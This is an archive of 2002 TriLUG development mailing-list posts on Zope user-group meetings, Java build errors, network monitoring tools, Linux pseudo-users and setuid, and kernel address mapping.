difficult, but a mailing list would rock - one with a higher S/N than python-list :) -- James Manning GPG Key fingerprint = B913 2FBD 14A9 CE18 B2B7 9C8E A0BF B026 EEBB F6E4 From tbryan@python.net Sat Aug 10 18:06:30 2002 Return-Path: Delivered-To: dev@trilug.org Received: from smtp3.southeast.rr.com (smtp3.southeast.rr.com [24.93.67.84]) by fatalpha.trilug.org (Postfix) with ESMTP id 384FEE5E9 for ; Sat, 10 Aug 2002 18:06:30 -0400 (EDT) Received: from mail7.nc.rr.com (fe7 [24.93.67.54]) by smtp3.southeast.rr.com (8.12.5/8.12.2) with ESMTP id g7AM6Gga001919 for ; Sat, 10 Aug 2002 18:06:16 -0400 (EDT) Received: from fezzik ([66.26.95.64]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Sat, 10 Aug 2002 18:06:28 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Re: Anybody Listening? Date: Sat, 10 Aug 2002 18:32:33 +0500 User-Agent: KMail/1.4.1 References: <002b01c23dcb$b5aa2f80$de01a8c0@calliope> <200208070620.28111.tbryan@python.net> <20020807223128.E6214@xanex.hippierage.org> In-Reply-To: <20020807223128.E6214@xanex.hippierage.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200208101832.33373.tbryan@python.net> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 08 August 2002 07:31 am, James Manning wrote: > [Tom Bryan] > > > Yes. My last post was the announcement of the Zope/Python User > > Group formation two weeks ago. > > there a mailing list i could join? physical meetings are difficult, > but a mailing list would rock - one with a higher S/N than > python-list Yes. http://starship.python.net/mailman/listinfo/triangle-zpug Of course, with only 10 members, the experience pool is much smaller than with the python-list. And the S/N will be clouded somewhat because we are also using the list to organize our physical meetings. ---Tom From akhilesh.gupta@divatv.com Wed Aug 21 18:54:22 2002 Return-Path: Delivered-To: dev@trilug.org Received: from dnsmail.divatv.com (dnsmail.divatv.com [63.101.155.253]) by fatalpha.trilug.org (Postfix) with ESMTP id 70C04E5E9 for ; Wed, 21 Aug 2002 18:54:22 -0400 (EDT) Received: from divakvixfgp58g ([10.1.3.4]) by dnsmail.divatv.com (Post.Office MTA v3.5.3 release 223 ID# 0-71929U400L200S0V35) with SMTP id com for ; Wed, 21 Aug 2002 15:54:21 -0700 Message-ID: <004201c24965$98812440$6601a8c0@divakvixfgp58g> From: akhilesh.gupta@divatv.com (Akhilesh Gupta) To: Date: Wed, 21 Aug 2002 15:53:40 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_003F_01C2492A.EB4AD800" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [Dev] Did you find a solution? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_003F_01C2492A.EB4AD800 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I am facing the same problem...on windows Internal compilation error, terminated with a fatal exception=20 I get this error when I include a Solid JDBC driver in the class path = i.e. in the library (SolidDriver2.0.jar). As soon as I remove this jar = from project settings, I stop getting this error... Appreciate your help Akhil ------=_NextPart_000_003F_01C2492A.EB4AD800 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I am facing the same problem...on=20 windows
 
Internal compilation = error,=20 terminated with a fatal exception
 
I get this error when I include a Solid JDBC = driver in=20 the class path i.e. in the library (SolidDriver2.0.jar). As soon as I = remove=20 this jar from project settings, I stop getting this=20 error...
 
Appreciate your=20 help
Akhil
------=_NextPart_000_003F_01C2492A.EB4AD800-- From ed@eh3.com Sun Aug 25 12:42:56 2002 Return-Path: Delivered-To: dev@trilug.org Received: from eddy.mines.edu (12-252-201-228.client.attbi.com [12.252.201.228]) by fatalpha.trilug.org (Postfix) with ESMTP id E2505E5E9 for ; Sun, 25 Aug 2002 12:42:55 -0400 (EDT) Received: (from edhill@localhost) by eddy.mines.edu (8.11.6/8.11.6) id g7PGfZg25773; Sun, 25 Aug 2002 10:41:35 -0600 X-Authentication-Warning: eddy.mines.edu: edhill set sender to ed@eh3.com using -f Subject: Re: [Dev] Did you find a solution? From: Ed Hill To: dev@trilug.org In-Reply-To: <004201c24965$98812440$6601a8c0@divakvixfgp58g> References: <004201c24965$98812440$6601a8c0@divakvixfgp58g> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 25 Aug 2002 10:41:34 -0600 Message-Id: <1030293694.1131.231.camel@eddy> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wed, 2002-08-21 at 16:53, Akhilesh Gupta wrote: > I am facing the same problem...on windows > > Internal compilation error, terminated with a fatal exception > > I get this error when I include a Solid JDBC driver in the class path i.e. in the library (SolidDriver2.0.jar). As soon as I remove this jar from project settings, I stop getting this error... > > Appreciate your help > Akhil Hi Akhil, This is the development [dev] list for the Triangle Linux User's group and its meant to cover Free and Open Source development primarily on Free and Open Source OSes such as Linux and the *BSDs. Any problems with software development (particularly non-Free projects) on any Windows platform, are mostly off-topic. For future reference, 1) Please try to stay on-topic: perhaps you could try compiling your Java project on Linux? Or perhaps you could tell us that your project is (somehow?) related to Free or Open Source development. 2) Please write a better description of what you're doing: your description is *awful* since it doesn't say anything about what you're trying to do, what tools (eg. compiler versions) that you're using and exactly what errors you're getting. We can't read your mind or look over your shoulder. Ed -- Edward H. Hill III, PhD Post-Doctoral Researcher | Email: ed@eh3.com, ehill@mines.edu Division of ESE | URLs: http://www.eh3.com Colorado School of Mines | http://cesep.mines.edu/people/edhill.php Golden, CO 80401 | Phone: 303-273-3483 Fax: 303-273-3311 From cj@elon.edu Sun Aug 25 17:25:59 2002 Return-Path: Delivered-To: dev@trilug.org Received: from smtp3.southeast.rr.com (smtp3.southeast.rr.com [24.93.67.84]) by fatalpha.trilug.org (Postfix) with ESMTP id 411C3E5E9 for ; Sun, 25 Aug 2002 17:25:59 -0400 (EDT) Received: from mail5.nc.rr.com (fe5 [24.93.67.52]) by smtp3.southeast.rr.com (8.12.5/8.12.2) with ESMTP id g7PLPfga017503 for ; Sun, 25 Aug 2002 17:25:41 -0400 (EDT) Received: from geek ([24.74.160.57]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Sun, 25 Aug 2002 17:25:58 -0400 From: "cj" To: Date: Sun, 25 Aug 2002 17:24:16 -0400 Message-ID: <000a01c24c7d$c4242000$6401a8c0@geek> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 In-Reply-To: <1030293694.1131.231.camel@eddy> Subject: [Dev] Network Monitoring Solutions Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: We need to have some network monitoring software to monitor routers, servers and other devices etc... I am hoping to find a really good package that would run on Linux. Are you aware/familiar with any such programs? Also, do you know of any good web resources to find information on monitoring programs? From mike@enoch.org Sun Aug 25 18:15:11 2002 Return-Path: Delivered-To: dev@trilug.org Received: from fiend.enoch.org (fiend.nwo.net [24.199.150.77]) by fatalpha.trilug.org (Postfix) with ESMTP id 4BF26E5F8; Sun, 25 Aug 2002 18:15:11 -0400 (EDT) Received: by fiend.enoch.org (Postfix, from userid 1000) id 6CD2B842; Sun, 25 Aug 2002 18:23:32 -0400 (EDT) Date: Sun, 25 Aug 2002 18:23:32 -0400 From: Mike Johnson To: dev@trilug.org Cc: trilug@trilug.org Subject: Re: [Dev] Network Monitoring Solutions Message-ID: <20020825222332.GB21259@enoch.org> Mail-Followup-To: Mike Johnson , dev@trilug.org, trilug@trilug.org References: <1030293694.1131.231.camel@eddy> <000a01c24c7d$c4242000$6401a8c0@geek> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="sCNd3Ivk/oijKKf1" Content-Disposition: inline In-Reply-To: <000a01c24c7d$c4242000$6401a8c0@geek> User-Agent: Mutt/1.3.25i Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --sCNd3Ivk/oijKKf1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable cj [cj@elon.edu] wrote: > We need to have some network monitoring software to monitor routers, > servers > and other devices etc... I am hoping to find a really good package that > would run on Linux. >=20 > Are you aware/familiar with any such programs? Also, do you know of any > good > web resources to find information on monitoring programs? You'd get more of a response to this one on the main list, so I'm cc'ing my response there. As for what package? OpenNMS, hands down: http://www.opennms.org/ Others: http://www.netsaint.org http://www.bb4.com http://bigsister.graeff.com http://www.paganini.net/angel --=20 "Let the power of Ponch compel you! Let the power of Ponch compel you!" -- Zorak on Space Ghost GNUPG Key fingerprint =3D ACD2 2F2F C151 FB35 B3AF C821 89C4 DF9A 5DDD 95D1 GNUPG Key =3D http://www.enoch.org/mike/mike.pubkey.asc --sCNd3Ivk/oijKKf1 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (OpenBSD) Comment: For info see http://www.gnupg.org iD8DBQE9aVjiicTfml3dldERAs6pAJ9q7geYf3XFCfJ4ejWo/6Dtn5zzgACcDZlz b1NIHy+hpILp3pprjqNSufo= =tIcg -----END PGP SIGNATURE----- --sCNd3Ivk/oijKKf1-- From jonc@nc.rr.com Sun Aug 25 21:18:42 2002 Return-Path: Delivered-To: dev@trilug.org Received: from smtp2.southeast.rr.com (smtp2.southeast.rr.com [24.93.67.83]) by fatalpha.trilug.org (Postfix) with ESMTP id 510AFE607 for ; Sun, 25 Aug 2002 21:18:42 -0400 (EDT) Received: from mail8.nc.rr.com (fe8 [24.93.67.55]) by smtp2.southeast.rr.com (8.12.5/8.12.2) with ESMTP id g7Q1JOts004660; Sun, 25 Aug 2002 21:19:24 -0400 (EDT) Received: from there ([66.57.25.59]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Sun, 25 Aug 2002 21:18:40 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Jon Carnes Organization: AnnCons To: dev@trilug.org, "cj" Subject: Re: [Dev] Network Monitoring Solutions Date: Sun, 25 Aug 2002 03:55:10 -0400 X-Mailer: KMail [version 1.3.2] References: <000a01c24c7d$c4242000$6401a8c0@geek> In-Reply-To: <000a01c24c7d$c4242000$6401a8c0@geek> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <053924018011a82FE8@mail8.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: jonc@nc.rr.com List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I have to agree with Mike, OpenNMS hands down. One the best network monitoring tools I've ever worked with. If you need help setting it up, let me know. I just setup a client with OpenNMS and the setup is still fresh in my mind. BTW: if you are just monitoring a few select boxes, you can use a low-end machine, but if you want to continuously monitor a whole network you'll want a fast processor, lots of RAM, and lots of Hard Drive space (especially for the /var directory). I setup a box recently that was a 650Mhz with 512Mb and had a 10Gb /var directory. It was set to use 30 simultaneous threads to explore the network looking for new devices, and another 30 threads to check the existing devices. Each thread took about 11Mb of RAM. The box did an excellent job of monitoring 500 nodes on 8 distinct subnets (5 connected via VPN) BTW 2: For OpenNMS to install properly you will need to download and install the Sun java sdk first. If you read the install instructions for OpenNMS they do a decent job of walking you through it.... and after that, the setup is really easy! Jon === On Sunday 25 August 2002 05:24 pm, cj wrote: > We need to have some network monitoring software to monitor routers, > servers > and other devices etc... I am hoping to find a really good package that > would run on Linux. > > Are you aware/familiar with any such programs? Also, do you know of any > good > web resources to find information on monitoring programs? > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev From mjm-58@mindspring.com Fri Sep 13 14:51:30 2002 Return-Path: Delivered-To: dev@trilug.org Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by fatalpha.trilug.org (Postfix) with ESMTP id 9D6C4E5F7; Fri, 13 Sep 2002 14:51:30 -0400 (EDT) Received: from user-0c8h10s.cable.mindspring.com ([24.136.132.28] helo=there) by tisch.mail.mindspring.net with smtp (Exim 3.33 #1) id 17pvXH-0001w2-00; Fri, 13 Sep 2002 14:51:23 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Mike Mueller To: trilug@trilug.org Date: Fri, 13 Sep 2002 14:53:39 -0400 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: Cc: dev@trilug.org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] Re: [TriLUG] questions about /etc/passwd Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: cc'd to dev where this thread probably is more appropriate. In answer to my own question I found that the entries are virtual or pseudo users. Examination of the /etc/shadow file shows a '*' in the password field which effectivley disables the user account. These pseudo user accounts are part of a secure programming technique that selectively grants access to files. If I have a program should a) be run by a set of users, and b) have full and exclusive rights to a set of files, and c) wants to allow the same or another group read access some of the files, then I will use the combination of techniques that include creating a pseudo user. Demo: 1. I create the psuedo user - chose "nobody" because it's already there in most Linux systems. 2. create this c++ program in t1.cpp: #include main { cout << "hello world...\n"; while (1); // forever loop lets you check UID with ps -axj } 3. compile with: g++ t1.cpp -o t1 4. execute in your user account; open another term window; enter: ps -axj check that UID is 501 (5xx on most distros, 1xxx on Debian) for t1; terminate t1 5. su -l root in one term window; change dir to your location of t1; enter chown nobody:nobody t1 then enter: chmod +s t1 6. go to user account window and run t1; go to root window and run ps- axj this time see that UID is 99; cat /etc/passwd and verify that the uid for nobody is 99 I think that some of the entries in /etc/passwd are used for authentication but I haven't made the connection yet. For example, shutdown and halt are in the file but they have no executables associated with them: find / -user shutdown -ls But /etc/pam.d/shutdown is evidence that authentication is being done. Is the entry point for PAM authentication the /etc/passwd file? On Friday 13 September 2002 10:27, Mike Mueller wrote: > Why are there so many entries besides root and my user accounts in > /etc/passwd? How do they get there? Any suggestions for further reading? > I am currently reading the User Authentication HOWTO. > > [root@laptop root]# cat /etc/passwd > root:x:0:0:root:/root:/bin/bash > bin:x:1:1:bin:/bin: > daemon:x:2:2:daemon:/sbin: > adm:x:3:4:adm:/var/adm: > lp:x:4:7:lp:/var/spool/lpd: > sync:x:5:0:sync:/sbin:/bin/sync > shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown > halt:x:7:0:halt:/sbin:/sbin/halt > mail:x:8:12:mail:/var/spool/mail: > news:x:9:13:news:/var/spool/news: > uucp:x:10:14:uucp:/var/spool/uucp: > operator:x:11:0:operator:/root: > games:x:12:100:games:/usr/games: > gopher:x:13:30:gopher:/usr/lib/gopher-data: > postgres:x:40:41:PostgreSQL Server:/var/lib/pgsql:/bin/bash > ftp:x:14:50:FTP User:/var/ftp: > squid:x:23:23::/var/spool/squid:/dev/null > gdm:x:42:42:GDM User:/var/lib/gdm: > htdig:x:51:51:HTDIG User:/var/lib/htdig: > dhcpd:x:19:19:Dhcpd User:/var/dhcpd: > named:x:25:25:Bind User:/var/named: > nscd:x:28:28:NSCD Daemon:/:/bin/false > rpm:x:37:37:RPM User:/var/lib/rpm:/bin/false > apache:x:48:48:Apache User:/var/www: > rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false > rpc:x:32:32:Portmapper RPC user:/:/bin/false > sympa:x:89:89:Sympa Mailing list manager:/var/lib/sympa:/bin/bash > ldap:x:93:93:OpenLDAP server:/var/lib/ldap:/bin/false > nobody:x:99:99:Nobody:/: > alias:x:400:401:qmail alias user:/var/qmail/alias:/bin/true > qmaild:x:401:401:qmaild user:/var/qmail:/bin/true > qmaill:x:402:401:qmaill user:/var/qmail:/bin/true > qmailp:x:403:401:qmailp user:/var/qmail:/bin/true > qmailq:x:404:400:qmailq user:/var/qmail:/bin/true > qmailr:x:405:400:qmailr user:/var/qmail:/bin/true > qmails:x:406:400:qmails user:/var/qmail:/bin/true > dnscache:x:410:405:dnscache user:/var/djbdns:/bin/true > dnslog:x:411:405:dnslog user:/var/djbdns:/bin/true > tinydns:x:412:405:tinydns user:/var/djbdns:/bin/true > axfrdns:x:413:405:axfrdns user:/var/djbdns:/bin/true > xfs:x:414:414:X Font Server:/etc/X11/fs:/bin/false > mike01:x:501:501:Michael Mueller:/home/mike01:/bin/bash > mike02:x:1001:1001::/home/mike02: -- mueller, mike The larger purpose of the economic order, including Wall Street, is to support the material conditions for human existence, not to undermine and destabilize them. -Editorial, The Nation, August 19, 2002 From davewu@us.ibm.com Mon Sep 16 11:13:18 2002 Return-Path: Delivered-To: dev@trilug.org Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by fatalpha.trilug.org (Postfix) with ESMTP id 0328FE5F7 for ; Mon, 16 Sep 2002 11:13:18 -0400 (EDT) Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8GFDGjv057600 for ; Mon, 16 Sep 2002 11:13:17 -0400 Received: from d03nm117.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8GFEBTS028926 for ; Mon, 16 Sep 2002 09:14:11 -0600 Importance: Normal Sensitivity: To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: "Dave Wu" Date: Mon, 16 Sep 2002 11:13:12 -0400 X-MIMETrack: Serialize by Router on D03NM117/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/16/2002 09:13:14 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] virtual to physical address Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I'm trying to understand the address mapping between a virtual address to physical address w/ PAE for kernel 2.4.19. I need to write a syscall which, given a virtual address will returns a physical address. The physical address may be at high memory (above 4G) so should return a 64 bits address. I TRIED VirtualAddress = virtual address at user space page_dir = pgd_offset(current->mm, VirtualAddress ); page_middle = pmd_offset(page_dir, VirtualAddress ); pte = *pte_offset(page_middle, VirtualAddress ); physaddress = __pa(page_address(pte_page(pte)) + (VirtualAddress & ~PAGE_MASK)); but I got some invalid address Any pointers of how to do this is greatly appreciated. David From johndavi@us.ibm.com Mon Sep 16 11:39:57 2002 Return-Path: Delivered-To: dev@trilug.org Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by fatalpha.trilug.org (Postfix) with ESMTP id 638F0E600 for ; Mon, 16 Sep 2002 11:39:57 -0400 (EDT) Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8GFduRC011480 for ; Mon, 16 Sep 2002 11:39:56 -0400 Received: from d03nm113.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8GFeqTS115360 for ; Mon, 16 Sep 2002 09:40:52 -0600 Importance: Normal Sensitivity: Subject: Re: [Dev] virtual to physical address To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "John F Davis" Date: Mon, 16 Sep 2002 11:39:44 -0400 X-MIMETrack: Serialize by Router on D03NM113/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/16/2002 09:39:54 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello Well, I don't know which processor you are using, but in PPC you can get this info from the TLB registers. JD Dave Wu/Raleigh/IBM@ibmus@trilug.org on 09/16/2002 11:13:12 AM Please respond to dev@trilug.org Sent by: dev-admin@trilug.org To: dev@trilug.org cc: Subject: [Dev] virtual to physical address I'm trying to understand the address mapping between a virtual address to physical address w/ PAE for kernel 2.4.19. I need to write a syscall which, given a virtual address will returns a physical address. The physical address may be at high memory (above 4G) so should return a 64 bits address. I TRIED VirtualAddress = virtual address at user space page_dir = pgd_offset(current->mm, VirtualAddress ); page_middle = pmd_offset(page_dir, VirtualAddress ); pte = *pte_offset(page_middle, VirtualAddress ); physaddress = __pa(page_address(pte_page(pte)) + (VirtualAddress & ~PAGE_MASK)); but I got some invalid address Any pointers of how to do this is greatly appreciated. David _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From mjm-58@mindspring.com Thu Sep 19 21:42:32 2002 Return-Path: Delivered-To: dev@trilug.org Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by fatalpha.trilug.org (Postfix) with ESMTP id 2D82CE608 for ; Thu, 19 Sep 2002 21:42:32 -0400 (EDT) Received: from user-0c8h10s.cable.mindspring.com ([24.136.132.28] helo=there) by smtp6.mindspring.com with smtp (Exim 3.33 #1) id 17sCoO-0003Zf-00 for dev@trilug.org; Thu, 19 Sep 2002 21:42:28 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Mike Mueller To: dev@trilug.org Date: Thu, 19 Sep 2002 21:44:07 -0400 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] A strong anti-XML opinion Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: http://groups.google.com/groups?selm=am5cb0%24pkh%241%40panix2.panix.com I thought of Lucy's filing system for Mr. Mooney after reading this. -- mueller, mike The larger purpose of the economic order, including Wall Street, is to support the material conditions for human existence, not to undermine and destabilize them. -Editorial, The Nation, August 19, 2002 From prhodes@vdsinc.com Mon Oct 7 22:07:35 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mailrtr2.mailzone.edeltacom.com (mailrtr2.mailzone.edeltacom.com [216.248.176.138]) by fatalpha.trilug.org (Postfix) with ESMTP id E216FE681; Mon, 7 Oct 2002 22:07:34 -0400 (EDT) Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114] (may be forged)) by mailrtr2.mailzone.edeltacom.com (Mirapoint Messaging Server MOS 3.1.0.54-GA) with ESMTP id APX69219; Mon, 7 Oct 2002 22:07:33 -0400 (EDT) From: To: trilug@trilug.org, dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Mon, 7 Oct 2002 22:10:36 -0400 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 10/07/2002 10:10:38 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] Attn: Perl enthusiasts.... Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: There's a story up on /. detailing how the Perl Journal is struggling to make it back. Apparently they only have just under 900 subscribers, and need about 3000 to survive. Check it out: http://slashdot.org/articles/02/10/07/1443229.shtml?tid=145 and maybe consider subscribing if you're into perl.... (apologies to anyone who receives this twice, but the cross-post seemed appropriate) Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin This country, with its institutions, belongs to the people who inhabit it. Whenever they shall grow weary of the existing government, they can exercise their constitutional right of amending it, or exercise their revolutionary right to overthrow it. - Abraham Lincoln No citizen shall be denied the right to bear arms, if as a last resort, to protect themselves from tyranny in Government. - Thomas Jefferson From tbryan@python.net Tue Oct 8 00:10:04 2002 Return-Path: Delivered-To: dev@trilug.org Received: from ncsmtp02.ogw.rr.com (ncsmtp02.ogw.rr.com [24.93.67.83]) by fatalpha.trilug.org (Postfix) with ESMTP id 46DA0E601 for ; Tue, 8 Oct 2002 00:09:59 -0400 (EDT) Received: from mail6.nc.rr.com (fe6 [24.93.67.53]) by ncsmtp02.ogw.rr.com (8.12.5/8.12.2) with ESMTP id g984ABup005683 for ; Tue, 8 Oct 2002 00:10:11 -0400 (EDT) Received: from fezzik ([66.26.95.64]) by mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Tue, 8 Oct 2002 00:09:58 -0400 Content-Type: text/plain; charset="us-ascii" From: Tom Bryan To: dev@trilug.org Date: Tue, 8 Oct 2002 00:39:27 +0500 User-Agent: KMail/1.4.1 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200210080039.27757.tbryan@python.net> Subject: [Dev] [announce] First meeting of Zope/Python User Group Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.13 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Sorry if this is a bit off-topic, but I just thought you guys might be interested in Zope. The Triangle Zope/Python User Group (TriZPUG) will hold its first meeting this Tuesday, October 8, at 6:15 p.m. near Raleigh/Durham, NC. We will be starting at VERITAS Software, who has kindly permitted us to use their meeting room (directions to VERITAS below). Geoff Davis will give a talk on Zope and Plone, starting promptly at 6:30. After the talk, we will all be going out to a local restaurant (still being selected on the trizpug mailing list). Everyone should bring a (no more than) one page description of current and past work related to Python and/or Zope and any suggestions for topics for future TriZPUG talks. We will be handing these around the table so that everyone can get to know each other's Python/Zope background and interests quickly. Hope to see you there! Title: An Introduction to Plone: Web Content Management Made Easy ================================================================= Plone is an open source toolkit for building web portals using Zope. Plone provides a fully functional and highly customizable portal out of the box and gives you built-in security, content storage, search capabilities, automated content generation, a skinnable user interface, content management workflow, RSS syndication, user discussions, and more. I will give an overview of Plone's capabilities and provide some pointers on where to learn more. If you are interested in learning more about Zope, Plone is a great place to begin. If you already know Zope, Plone is definitely something you should know about. Directions to VERITAS: ====================== VERITAS Software, 2530 Meridian Parkway, in Research Triangle Park. The Meridian Business Park is off of Highway 55, near its intersection with Interstate 40. From I-40, take exit 278. At the bottom of the exit, turn LEFT onto Highway 55. Turn left at the next light onto Meridian Parkway. Travel approximately one-half mile, to building 2530 on the RIGHT. Turn RIGHT, and park in the back. VERITAS is on the first floor. Go to the Blue Ridge Conference Room, located past the elevators For more about TriZPUG: ======================= Web page http://dev.zope.org/Members/tbryan/TriZPUG/FrontPage Mailing list http://starship.python.net/mailman/listinfo/triangle-zpug From jcanna@rolemodelsoft.com Thu Oct 24 12:41:52 2002 Return-Path: Delivered-To: dev@trilug.org Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by fatalpha.trilug.org (Postfix) with ESMTP id 80D40E631 for ; Thu, 24 Oct 2002 12:41:52 -0400 (EDT) Received: from user14.net230.nc.sprint-hsd.net ([65.173.94.14] helo=jeffs8200) by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 184l3P-0006vi-00 for dev@trilug.org; Thu, 24 Oct 2002 09:41:51 -0700 From: "Jeff Canna" To: Date: Thu, 24 Oct 2002 12:41:49 -0400 Message-ID: <001201c27b7c$4078b990$2101a8c0@jeffs8200> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0013_01C27B5A.B9671990" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 